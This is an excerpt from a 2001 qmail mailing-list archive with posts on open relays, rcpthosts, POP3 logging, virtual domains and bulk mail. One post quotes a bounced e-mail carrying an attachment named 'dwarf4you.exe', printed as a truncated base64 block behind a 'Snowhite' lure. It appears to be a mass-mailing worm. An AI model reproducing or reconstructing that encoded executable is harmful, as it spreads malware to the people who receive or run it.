 Escape character is '^]'.
 Connection closed by foreign host.
 can somebody help me plz

cit Frank Tegtmeyer

You have no SMTP server running:

$ telnet 195.191.36.57 25
Trying 195.191.36.57...
telnet: connect to address 195.191.36.57: Connection refused

Configure your qmail-smtpd (using ucspi-tcp/tcpserver, see the
FAQ). Then your mail should arrive.

/cit

or in inetd.con
smtp  stream  tcp nowait  qmaild/var/qmail/bin/tcp-env   tcp-env
/var/qmail/bin/qmail-smtpd
and
# kill -HUP pid_inetd

hope this help

Rob




Re: Digest list available?

2001-05-16 Thread Tom Beer

what about using securepoints archive?
www.msge.securepoint.com 
- Original Message - 
From: tonix (Antonio Nati) [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, May 16, 2001 4:32 PM
Subject: Digest list available?


 
 Sorry to question something that probably has been already asked...
 
 Would it be possible to setup a digest for this mailing list?
 
 Tonino
 
 




how to test for a qmail virtualdomain?

2001-05-16 Thread Jason R. Mastaler

Does anyone know of a reliable way to programatically test whether an
incoming message is part of a qmail virtualdomain or not?

I've been looking at qmail-send's environment variables under
both a regular setup and a virtualdomain, and can't find a surefire
way to differentiate the two cases.  Take a look at qmail-command(8)
under ENVIRONMENT VARIABLES to see what I'm talking about.

I need a method that works under vmailmgr, vpopmail, and qmail's
builtin virtualdomains support.

For example, under vpopmail, the 'USER' environment variable is set to
the virtualdomain instead of the username, so this is easily tested
for (if username != $USER, ...).  However, this isn't the case under
vmailmgr or virtualdomains.

Thanks.

-- 
(TMDA - http://tmda.sourceforge.net/)
(A qmail-based SPAM reduction system)



Re: Qmail + Mailman

2001-05-16 Thread Karsten W. Rohrbach

Rodrigo Borges Pereira([EMAIL PROTECTED])@2001.05.14 21:29:12 +:
 Hello all.
 
 Although this may seem off-topic (regarding mailman) i think the problem
 here is more qmail'ish, so i thought of giving a try on this list too.
why bother using mailman? try ezmlm, it works for a lot of real high
volume mailing lists ;-)
(or does mailman have some real features compared to exmlm-idx?)
/k

-- 
 I can emulate the Beta-version of every C  #include signal.h
 program I've ever written in two lines! - main() {raise(11);}
KR433/KR11-RIPE -- http://www.webmonster.de -- ftp://ftp.webmonster.de
[Key] [KeyID---] [Created-] [Fingerprint-]
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 BF46



Unsubscribe Me

2001-05-16 Thread Terry Bilskie

Unsubscribe



NOTE: This e-mail message may contain information that may be privileged,
confidential, and exempt from disclosure.  It is intended for use only by
the person to whom it is addressed. If you have received this message in
error, please do not forward or use this information in any way, delete it
immediately, and contact the sender as soon as possible by the reply option
or by telephone at the telephone number listed (if available).  Thank you.





Re: Can't stop open relay

2001-05-16 Thread Rick Updegrove

From: John Kuhn [EMAIL PROTECTED]
 the problem
 it's seems no matter what I put in /etc/tcp.smtp anyone can relay mail off
 my server it will not deny anyone I've taken everything out besides the
 localhost address and recompiled with tcprules

Once I forgot to run ./config-fast FQDN in the qmail source dir after make; make
setup check

Did you?

Hope that helped.


Rick Up




Re: Can't stop open relay

2001-05-16 Thread Henning Brauer

On Wed, May 16, 2001 at 10:44:04AM -0400, John Kuhn wrote:
 can you explain this.. the docs state that by default qmail will not relay
 to anyone not in /etc/tcp.smtp

...as long as a rcpthosts file is existant, yes.

 now that I do have my domain into rcpthosts it is the only way it will stop
 the open relay behavior because the server responds with domain not in my
 rcpthosts which is fine because I can bypass this with adding people to my
 tcp.smtp file
 
 this is how it's supposed to work?

Absolutely.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: Can't stop open relay

2001-05-16 Thread Charles Cazabon

John Kuhn [EMAIL PROTECTED] wrote:
 
 can you explain this.. the docs state that by default qmail will not relay
 to anyone not in /etc/tcp.smtp

No, the documentation states that qmail will not relay if you populate
/var/qmail/control/rcpthosts properly.  The possible setting of the
RELAYCLIENT environment variable through tcpserver can then be used to
override this mechanism for particular hosts if desired.

 now that I do have my domain into rcpthosts it is the only way it will stop
 the open relay behavior because the server responds with domain not in my
 rcpthosts which is fine because I can bypass this with adding people to my
 tcp.smtp file
 
 this is how it's supposed to work?

Yes.  rcpthosts specifies what domains you are responsible for mail for (local
domains, virtual domains, plus any domains for which you are a secondary MX).
RELAYCLIENT lets you specify particular hosts in your network for which you
wish to act as a relay or smarthost.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Can't stop open relay

2001-05-16 Thread John Kuhn

I did have rcpthosts set.. but I was under the impression that I could
secure my server with just tcp.smtp alone.. I was wrong.. I am sorry

  Exception: If the environment variable RELAYCLIENT is set,
  qmail-smtpd will ignore rcpthosts, and will append the value
 of RELAYCLIENT to each incoming recipient address.

Can you people please stop sending me you didn't read the docs email.. I
DID.. if I didn't I probably would have never got qmail up and running in
the first place.. I'm am whole heartly sorry for being confused about
something and asking for a little help..

John Kuhn





Another logging question (second Post)

2001-05-16 Thread Dean Staff

Hi, 

I apologize for any double posting. I originally submitted this 
message before I had completed subscribing to the list. So I'm not 
sure if it made it or not.

If it did, I'm sorry, and I'll just sit patiently while someone 
anwers me.  

begin original message

I've managed to get qmail to log the pop connections using a poplog  
script that contail s the following... 

#! /bin/sh echo $TCPREMOTEIP $USER | /var/qmail/bin/splogger 
pop3d 19  pop=$1; shift; exec $pop $@ 

and edited the server_arg line in xined.conf to read 

server_arg  = localhost /bin/checkpassword /var/qmail/bin/poplog  
/var/qmail/bin/qmail-pop3d Maildir 

I get a log entry in /var/log/popper.log that looks like this... 

Apr 30 15:27:52 testmail pop3d: 988658872.496325 dean   Apr 30 
15:27:53 testmail pop3d: 988658873.529210 dean   

I need to be able to log the STAT output also. (how many unread  
message are in the user mailbox, and total size of all that users new 
 mail files) I have been unsuccessful in trying to get this info 
added  to the log. I'd to get it on the same line as as the userid if 
 possible. Would you have any suggestions. 

Thanks Dean   



Dean Staff
Protus IP Solutions
210 - 2379 Holly Lane
Ottawa, ON K1V 7P2 Canada
613-733- ex 546 Fax 613-248-4553
e-mail: [EMAIL PROTECTED] Web: http://www.protus.com




Fastforward... recursive aliases and existing mailboxes.

2001-05-16 Thread Cthulhu


1) Can I do such a thing in fastforward:

cthulhu: cthulhu, a.dent

which mean: deliver all mail to cthulhu to cthulhu itself, its local
mailbox, and to a.dent?

2) If I have, in QMail+MySQL, a user called cthulhu, the simple
alias:

cthulhu: elsewhere

will never work, because QMail seek to ~/alias/.qmail-default only if
the user don't exist.
Is there an easy way to change this behavior?

Thanks!

aliasingly,
  Cthulhu

-- 
   Ph'nglui mglw'nafh Cthulhu http://www.rlyeh.it/ wgah'nagl fhtgan!
 [EMAIL PROTECTED]  




Re: why www.mail-abuse.org says I block it?

2001-05-16 Thread Karsten W. Rohrbach

is it server3.microtek.com.tw that you are referring to as being blocked
by mail-abuse.org or is it rather relay.microtek.com.tw which appears to
have 2 ip adresses or to be 2 machines (?) or did they block the netcom
and/or psi mail relays? i _guess_ it is server3.microtek.com.cn you are
talking about, but i am not sure since you do not block mail-abuse.org
from server3 but might have some different setup on
relay.microtek.com.tw.

the preference of 0 for relay.microtek.com.tw makes it the primary mail
relay for those domains, is this really what you want? the server with
the lowest preference value always is the most preferred.
/k

---
rohrbach@WM:datasink[~]72% dnsqr a server3.microtek.com.cn
1 server3.microtek.com.cn:
57 bytes, 1+1+0+0 records, response, noerror
query: 1 server3.microtek.com.cn
answer: server3.microtek.com.cn 86376 A 202.96.230.197
rohrbach@WM:datasink[~]73% dnsqr mx server3.microtek.com.cn 
15 server3.microtek.com.cn:
41 bytes, 1+0+0+0 records, response, noerror
query: 15 server3.microtek.com.cn
rohrbach@WM:datasink[~]74% dnsqr mx microtek.com.cn 
15 microtek.com.cn:
94 bytes, 1+2+0+0 records, response, noerror
query: 15 microtek.com.cn
answer: microtek.com.cn 86355 MX 10 server3.microtek.com.cn
answer: microtek.com.cn 86355 MX 5 relay.microtek.com.tw
rohrbach@WM:datasink[~]75% dnsqr mx microtek.com.tw
15 microtek.com.tw:
85 bytes, 1+2+0+0 records, response, noerror
query: 15 microtek.com.tw
answer: microtek.com.tw 3600 MX 10 mail.seed.net.tw
answer: microtek.com.tw 3600 MX 0 relay.microtek.com.tw
rohrbach@WM:datasink[~]76% dnsqr mx microtek.com   
15 microtek.com:
122 bytes, 1+3+0+0 records, response, noerror
query: 15 microtek.com
answer: microtek.com 2423 MX 10 mx4.smtp.psi.net
answer: microtek.com 2423 MX 20 mail1.noc.netcom.net
answer: microtek.com 2423 MX 0 postoffice.microtek.com
rohrbach@WM:datasink[~]77% dnsqr a relay.microtek.com.tw
1 relay.microtek.com.tw:
71 bytes, 1+2+0+0 records, response, noerror
query: 1 relay.microtek.com.tw
answer: relay.microtek.com.tw 3572 A 203.75.27.243
answer: relay.microtek.com.tw 3572 A 203.75.27.229
---

daiyuwen([EMAIL PROTECTED])@2001.05.15 15:11:36 +:
 Hi, Dear All
 
 My server WAS an open relay mail server and it is on the list of RSS.  I fixed my 
server a few days ago and quest www.mail-abuse.org to remove my server from its list. 
The www.mail-abuse.org processed a test and said angrily that I blocked its mail 
server and tried to cheat him.
 
 But I did nothing special to block mail server of mail-abuse.  I use qmail + 
tcpserver + relay-control.  
 
 Here's my tcp control file (smtp.cdb):
 127.0.0.1:allow,RELAYCLIENT=
 172.20.:allow,RELAYCLIENT=
 192.168.4.:allow,RELAYCLIENT=
 :allow
 
 This is the command I run qmail-stmpd:
 exec \
 /usr/local/bin/tcpserver -p -v -H -R -x /etc/tcpcontrol/smtp.cdb \
  -u $QMAILDUID -g $NOFILESGID 0 \
 smtp /var/qmail/bin/qmail-smtpd 21
 
 This is my rcpthost file:
 localhost
 server3.microtek.com.cn
 microtek.com.cn
 microtek.com.tw
 microtek.com
 
 Please help me.  Thanks in advance.
 
 best regards,
 Dai Yuwen
 
 __
 
 ===
 ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn)
 ÐÂÀËÍø¡ÖØÍƳöÊÖ»ú¶ÌÐŶ¥¼¶ÐÂÎÅ·þÎñ (http://sms.sina.com.cn/topnews)

-- 
 ?print(strrev(join( ,split([123],rekcaH3PHP2rehtonA1tsuJ;?
KR433/KR11-RIPE -- http://www.webmonster.de -- ftp://ftp.webmonster.de
[Key] [KeyID---] [Created-] [Fingerprint-]
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 BF46



Re: delivering problem

2001-05-16 Thread Karsten W. Rohrbach

Greg White([EMAIL PROTECTED])@2001.05.15 10:38:28 +:
 Don't allow any home directory to be writable by anyone but the owner.
 This is a good idea in any case.
in most. if you got group home directories for projects which also imply
to have mode 0775 more 4770 in our case delivery would not work for
troubletickets and other shared ressources. hard links and
procmail/safecat tricks allow one to succeed delivering to shared mail 
folders, too ;-)
/k

-- 
 The new glue is, unfortunately, ignored by recent versions of the BIND
 cache; the detailed technical explanation for this is that the BIND
 company is a bunch of idiots. --DJB discussing yet another BIND failing 
KR433/KR11-RIPE -- http://www.webmonster.de -- ftp://ftp.webmonster.de
[Key] [KeyID---] [Created-] [Fingerprint-]
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 BF46



Re: OT: where are you from

2001-05-16 Thread Karsten W. Rohrbach

there's the network where the nameserver is hosted.
chicago, blues brothers county ;-)
so long
/k

---
rohrbach@WM:datasink[~]81% jwhois yp.to   
[whois.tonic.to]
Tonic whoisd V1.0
yp  a.ns.yp.to  131.193.178.181 b.ns.yp.to  131.193.178.181 

rohrbach@WM:datasink[~]82% jwhois 131.193.178.181
[whois.arin.net]
University of Illinois at Chicago (NET-UIC-ISN-NET)
   Computer Center
   1940 West Taylor Avenue
   Chicago, IL 60680
   US

   Netname: UIC-ISN-NET
   Netblock: 131.193.0.0 - 131.193.255.255

   Coordinator:
  Zawacki, Edward  (EZ3-ARIN)  [EMAIL PROTECTED]
  (312) 996-0658

   Domain System inverse mapping provided by:

   UIC-DNS1.UIC.EDU 128.248.2.50
   UIC-DNS2.UIC.EDU 128.248.7.50
   UIC-DNS3.UIC.EDU 128.248.171.50

   Record last updated on 28-Aug-1995.
   Database last updated on 15-May-2001 22:44:34 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

rohrbach@WM:datasink[~]83% dnsqr ptr 181.178.193.131.in-addr.arpa
12 181.178.193.131.in-addr.arpa:
102 bytes, 1+2+0+0 records, response, noerror
query: 12 181.178.193.131.in-addr.arpa
answer: 181.178.193.131.in-addr.arpa 536 PTR muncher.math.uic.edu
answer: 181.178.193.131.in-addr.arpa 536 PTR koobera.math.uic.edu

---

Bill Andersen([EMAIL PROTECTED])@2001.05.16 08:52:19 +:
 D.J. Bernstein is big into Cryptography - using key encryption for
 private/secure email, etc.   His domain choice cr.yp.to is crypto
 without the dots - AFAIK, he is actually in the USA.  Based on his
 web site http://cr.yp.to, I would assume in the Chicago area.
 
 Bill
 
 
 
 
 On Wed, May 16, 2001 at 09:33:46AM +0300, Martín Marqués wrote:
  Off Topic, but not so much.
 
  what does .to stand for, as in [EMAIL PROTECTED]?
 
 The island of Tonga.
 
 djb uses cr.yp.to only because it looks good and is easy to remember,
 however. He's not (AFAIK :) related to anybody in Tonga.
 
 Greetz, Peter.

-- 
 Experience is a teacher that gives the examination first and the
 lesson afterwards. 
KR433/KR11-RIPE -- http://www.webmonster.de -- ftp://ftp.webmonster.de
[Key] [KeyID---] [Created-] [Fingerprint-]
GnuPG 0x2964BF46 2001-03-15 42F9 9FFF 50D4 2F38 DBEE  DF22 3340 4F4E 2964 BF46



Re: how to test for a qmail virtualdomain?

2001-05-16 Thread Tim

  I would say the most reliable way would be to just parse
/var/qmail/virtualdomains and compare the LHS with $HOST (although this
is a problem while somebody has updated virtualdomains but haven't sent
-HUP to qmail-send yet).  Do you just need to test for these three packages
or does it need to handle all types (for example, maildrop has its own
virtual users mechanism)?  How reliable does it need to be?

  Tim

On Wed, May 16, 2001 at 09:53:13AM -0600, Jason R. Mastaler wrote:
 Does anyone know of a reliable way to programatically test whether an
 incoming message is part of a qmail virtualdomain or not?
 
 I've been looking at qmail-send's environment variables under
 both a regular setup and a virtualdomain, and can't find a surefire
 way to differentiate the two cases.  Take a look at qmail-command(8)
 under ENVIRONMENT VARIABLES to see what I'm talking about.
 
 I need a method that works under vmailmgr, vpopmail, and qmail's
 builtin virtualdomains support.
 
 For example, under vpopmail, the 'USER' environment variable is set to
 the virtualdomain instead of the username, so this is easily tested
 for (if username != $USER, ...).  However, this isn't the case under
 vmailmgr or virtualdomains.
 
 Thanks.
 
 -- 
 (TMDA - http://tmda.sourceforge.net/)
 (A qmail-based SPAM reduction system)



Relaying advice

2001-05-16 Thread Rodrigo Borges Pereira

Hi!

I need to provide users with the ability to send mail to anywhere. But since
that can make my server an open relay, i was thinking of a solution where a
user must receive mail before sending, thus proving that he can use the
server for relaying.

At this moment, qmail only accepts mail for domains listed on rcpthosts.

I need some advice on how can this be implemented. If there is a better
solution, also let me know.
If this is well documented somewhere, let me know.

TIA





rpcthost and morercpthost thresholds

2001-05-16 Thread Christopher Tolley


I manage a backup mail spooling server (secondary MX) for around 6800
domains.  Until recently, I've been putting all the domains in
morercpthosts and then running qmail-newmrh to hash it in to the
morercpthosts.cdb...logic being that parsing a cdb is more efficient that a
6800 line text file.  This has been working great for the last several
months.

Last night, I began noticing that Qmail was ignoring (some) entries in
morercpthosts.cdb and was returning the message about being listed as best
MX preference but the domain not being local.  Using strings, I confirmed
that the domain having the error was in the cdb, as well as the plain text
morercpthosts.

Neither re-running qmail-newmrh, nor restarting qmail had any effect in
correcting this.  I eventually had to just drop all 6800+ domains into the
rcpthost file.  Things worked fine after that.

Is there a limit to how much can be put into morercpthosts?  Is it a limit
of qmail-newmrh?  Am I going to reach a limit to how many hosts I can put
into rcpthosts as well?

Any advice or assistance would be appreciated.

-CT



Re: Can't stop open relay

2001-05-16 Thread Dave Sill

John Kuhn [EMAIL PROTECTED] wrote:

Can you people please stop sending me you didn't read the docs email.. I
DID.. if I didn't I probably would have never got qmail up and running in
the first place..

Then either you didn't read the right docs or you didn't understand
them.

I'm am whole heartly sorry for being confused about
something and asking for a little help..

There's no need to apologize for being confused. Just take a couple
deep breaths, calm down, and study:

  http://www.lifewithqmail.org/lwq.html#relaying

If it doesn't make sense, ask some specific questions about the bits
you don't get.

-Dave



Lotsa messages with qmail-remote?

2001-05-16 Thread John R Levine

I have a spam-like application that will be sending out thousands of
customized single-recipient messages.  (It's spam-like because it says
you wrote to us about  on , but unlike spam, they really did
write and I have the saved messages to prove it.)

Rather than dumping them all into qmail-inject or qmail-queue which would
cause constipation unless I install the big-todo patch which is a pain, I
was thinking of calling qmail-remote directly, then qmail-queue if
qmail-remote didn't work, with a bunch of remotes going at once.

The addresses come out of a database and the customization is trivial, so
I was planning to write it in perl.  (The main bottleneck is the network
delays for qmail-remote.)  But before I do, has someone already written
this?

Regards,
John Levine, [EMAIL PROTECTED], Primary Perpetrator of The Internet for Dummies,
Information Superhighwayman wanna-be, http://iecc.com/johnl, Sewer Commissioner
Finger for PGP key, f'print = 3A 5B D0 3F D9 A0 6A A4  2D AC 1E 9E A6 36 A3 47 





Re: Another logging question (second Post)

2001-05-16 Thread Charles Cazabon

Dean Staff [EMAIL PROTECTED] wrote:
 
 I've managed to get qmail to log the pop connections using a poplog  
 script that contail s the following... 
[...]
 I need to be able to log the STAT output also. (how many unread  
 message are in the user mailbox, and total size of all that users new 
  mail files) I have been unsuccessful in trying to get this info 
 added  to the log. I'd to get it on the same line as as the userid if 
  possible. Would you have any suggestions. 

Either expand your little POP3-logging shim, or write an additional one that
comes just before qmail-pop3d in your run script.  Since you're serving your
mail out of Maildirs in the user's home directories, finding the number of
messages and total bytes in new/old mail is trivial:

oldmessages=`ls $USER/Maildir/old/ | wc -l`
newmessages=`ls $USER/Maildir/new/ | wc -l`
newmailbytes=`du -sb $USER/Maildir/new/ | cut -f 1`

Then print this as you do your current logging information.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: how to test for a qmail virtualdomain?

2001-05-16 Thread Dave Sill

Jason R. Mastaler [EMAIL PROTECTED] wrote:

Does anyone know of a reliable way to programatically test whether an
incoming message is part of a qmail virtualdomain or not?

I think you'll have to parse control/virtualdomains.

I've been looking at qmail-send's environment variables under
both a regular setup and a virtualdomain, and can't find a surefire
way to differentiate the two cases.

With a virtualdomains entry like:

  virtual.domain:de5-virtual

A message sent to [EMAIL PROTECTED] is very similar to a message sent
to de5-foo@localhost. Diff'ing the qmail-command environments, I get:

 HOST2=sws5.ctd.ornl
 HOST3=sws5.ctd
 DTLINE=Delivered-To: [EMAIL PROTECTED]
 HOST4=sws5
 HOST=sws5.ctd.ornl.gov
 [EMAIL PROTECTED]
---
 HOST2=virtual
 HOST3=virtual
 DTLINE=Delivered-To: [EMAIL PROTECTED]
 HOST4=virtual
 HOST=virtual.domain
 [EMAIL PROTECTED]

-Dave



installation Problems

2001-05-16 Thread Constantine Koulis
Hello all.
I tried to install the qmail but when i give the command MAKE i have the following msg :

bash:make:command not found

Anybody knows?Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.


RE: failure notice

2001-05-16 Thread Kirti S. Bajwa

Hi:

Somebody is using our company's mail server to send Spam mail. Following is
a copy of the bounced message. I have received hundreds of these messages. I
have looked into qmail-send logs and find bounced messages but the from
address is garbage. 

It seems that person who is sending SPAM is a regular dial-in customer. For
example, the message below, this person logged in as a dial-in customer and
was assigned an IP address of 63.113.255.43, which is a valid IP address for
the dial-in modem bank.

From this message or from qmail-send logs, I can't find out the user id of
this person. Is there any way I can stop it or better to find out who this
person is (sending SPAM)?

Kirti






-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED]]
Sent: Wednesday, May 16, 2001 3:17 PM
To: [EMAIL PROTECTED]
Subject: failure notice


Hi. This is the qmail-send program at ns2.tibonline.net.
I tried to deliver a bounce message to this address, but the bounce bounced!

[EMAIL PROTECTED]/A:
Sorry, I couldn't find any host named centerfind.com/A. (#5.1.2)

--- Below this line is the original bounce.

Return-Path: 
Received: (qmail 21618 invoked from network); 16 May 2001 19:16:59 -
Received: from unknown (HELO pavilion) (63.113.255.43)
  by 63.113.255.3 with SMTP; 16 May 2001 19:16:59 -
From: Hahaha [EMAIL PROTECTED]
Subject: Snowhite and the Seven Dwarfs - The REAL story!
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=--VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF

VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
Content-Type: text/plain; charset=us-ascii

Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
polite with Snowhite. When they go out work at mornign, they promissed a 
*huge* surprise. Snowhite was anxious. Suddlently, the door open, and the
Seven
Dwarfs enter...


VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF
Content-Type: application/octet-stream; name=dwarf4you.exe
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=dwarf4you.exe

TVqQAAME//8AALgAQAAA
gLRMzSEA
AABQRQAATAECAOAADwELAQAAAFYAABAA
AAAQAABQAgAABAAEAACAAgIAABAA
ABAAEAAAEBhwAAAo

AC50ZXh0AGAQAACoVAIA
ACAAAOAucmRhdGEQcAAAWgBYAABAAADA
AADr
FqhUAABEQUlKSEpMTgARCUhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8XqE1Cifa
HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj
SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV
ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA
D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP
hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA
AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/
lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA
Vv+UJHwCAACFwHQcVWiAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC
AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW
V/+UJMACAACFwA+FQv///8eEJLwCxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT
/5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F
fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm
90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+It67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg
99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk
XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z
9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8E
i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjYe
AACL0IcEr0Urwi3eiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+MS
AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0llKJk29fhf91Covy
ibN06x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm0
JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagRW
/7WYBQAA/5Qk2AIAAIXAdS5obWUAAGhSZW5hi8xoSU5JAGhOSVQuaFdJTklU/7WYBQAAVlH/lCTs
AgAAg8QUxoWcBQAA62H/lCS8AgAA/5QkaAIAACvtVVX/dCQs/3QkDP+UJIQCAAD/NCT/lCSUAgAA
jUQkGFCD6AhQg+gIUP90JAz/lCSMAgAA/5QkZAIAAI2cJEABAAD/NCRT/5QkfAIAAOsLx4QkvAIA
AABoXAdRADwK/zQk/5QkwAIAAP+UJHACAACBxEQCAAC/BAEAACvni9wr54vsV1VqAP+UJHgC
AABXU/+UJFQCAACLyIvRi/uL9aw6B3QGNCA4B3UDR+LyjTwTsFyquExLTEyruFBMREKruNG6p7r3
0KsrwKuDvCSAAg+EaAEAAIXJD4S5agNogFXoqAEAAIvwQA+EkAEAAGgAAAIAakD/
lCR4AgAAi/hqAOixAgAAge16+f//VWgAAAIAV1b/lCRoAgAAVv+UJCgCAABqAmgAAABAU+heAQAA

Re: Qmail + Mailman

2001-05-16 Thread Stig Sandbeck Mathisen

* Karsten W. Rohrbach (Wed, May 16, 2001 at 05:55:23PM +0200)

 why bother using mailman? try ezmlm, it works for a lot of real high volume
 mailing lists ;-)

ezmlm is, in my opinion, the way to go if you want to have as little to do with
your lists and lists users as possible after you've set up your lists.  I really
like VERP, it saves me lots of time needed to othervise trying to track down the
address users are subscribed as.

 (or does mailman have some real features compared to exmlm-idx?)

For some, the web interface of mailman would be the reason for installing it. If
you happen to like web interfaces (many users do), you would have to look long
to find something as good as the mailman web interface.

I've tried both, and qmail has no problem at all with either of these mailing
list managers.

-- 
 SSM - Stig Sandbeck Mathisen
  Trust the Computer, the Computer is your Friend



Re: Relaying advice

2001-05-16 Thread Roberto Marzialetti

 I need to provide users with the ability to send mail to anywhere. But
since
 that can make my server an open relay, i was thinking of a solution where
a
 user must receive mail before sending, thus proving that he can use the
 server for relaying.

you need of vpopmail
http://inter7.com/vpopmail/

se you succeed to install it on a Slack 7.0,
tell me, please
i don't succeed to install it on my distro

hte

roberto






Re: Relaying advice

2001-05-16 Thread Charles Cazabon

Rodrigo Borges Pereira [EMAIL PROTECTED] wrote:
 
 I need to provide users with the ability to send mail to anywhere. But since
 that can make my server an open relay, i was thinking of a solution where a
 user must receive mail before sending, thus proving that he can use the
 server for relaying.

What you're looking for is selective relaying.  tcpserver can let you do
this for fixed IP addresses.  If you need it for dynamic/roaming users, the
best solution is Bruce Guenter's relay-ctrl, which you can find from
qmail.org.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: rpcthost and morercpthost thresholds

2001-05-16 Thread Charles Cazabon

Christopher Tolley [EMAIL PROTECTED] wrote:
 
 Last night, I began noticing that Qmail was ignoring (some) entries in
 morercpthosts.cdb and was returning the message about being listed as best
 MX preference but the domain not being local.

Re-read the error message.  It's telling you exactly what is wrong.  Hint:
check the DNS records for the domain in question.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Lotsa messages with qmail-remote?

2001-05-16 Thread Charles Cazabon

John R Levine [EMAIL PROTECTED] wrote:
 I have a spam-like application that will be sending out thousands of
 customized single-recipient messages.  (It's spam-like because it says
 you wrote to us about  on , but unlike spam, they really did
 write and I have the saved messages to prove it.)

Out of curiosity, does the above boil down to this is not unsolicited email,
or to the users wrote to me, and according to the TOS they clicked through,
this gives me the right to send them commercial mail?

 Rather than dumping them all into qmail-inject or qmail-queue which would
 cause constipation unless I install the big-todo patch which is a pain, I
 was thinking of calling qmail-remote directly, then qmail-queue if
 qmail-remote didn't work, with a bunch of remotes going at once.

This scheme is used elsewhere, and has been discussed in the qmail list in the
past.  It is frequently recommended when people ask about multi-million
per-recipient customized mailings.  Check the list archives for other details.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
Any opinions expressed are just that -- my opinions.
---



Re: Lotsa messages with qmail-remote?

2001-05-16 Thread Mark Delany

On Wed, May 16, 2001 at 02:38:38PM -0400, John R Levine wrote:
 I have a spam-like application that will be sending out thousands of
 customized single-recipient messages.  (It's spam-like because it says
 you wrote to us about  on , but unlike spam, they really did
 write and I have the saved messages to prove it.)
 
 Rather than dumping them all into qmail-inject or qmail-queue which would
 cause constipation unless I install the big-todo patch which is a pain, I
 was thinking of calling qmail-remote directly, then qmail-queue if
 qmail-remote didn't work, with a bunch of remotes going at once.
 
 The addresses come out of a database and the customization is trivial, so
 I was planning to write it in perl.  (The main bottleneck is the network
 delays for qmail-remote.)  But before I do, has someone already written
 this?

I recently did one of these - it was more designed for mass customized
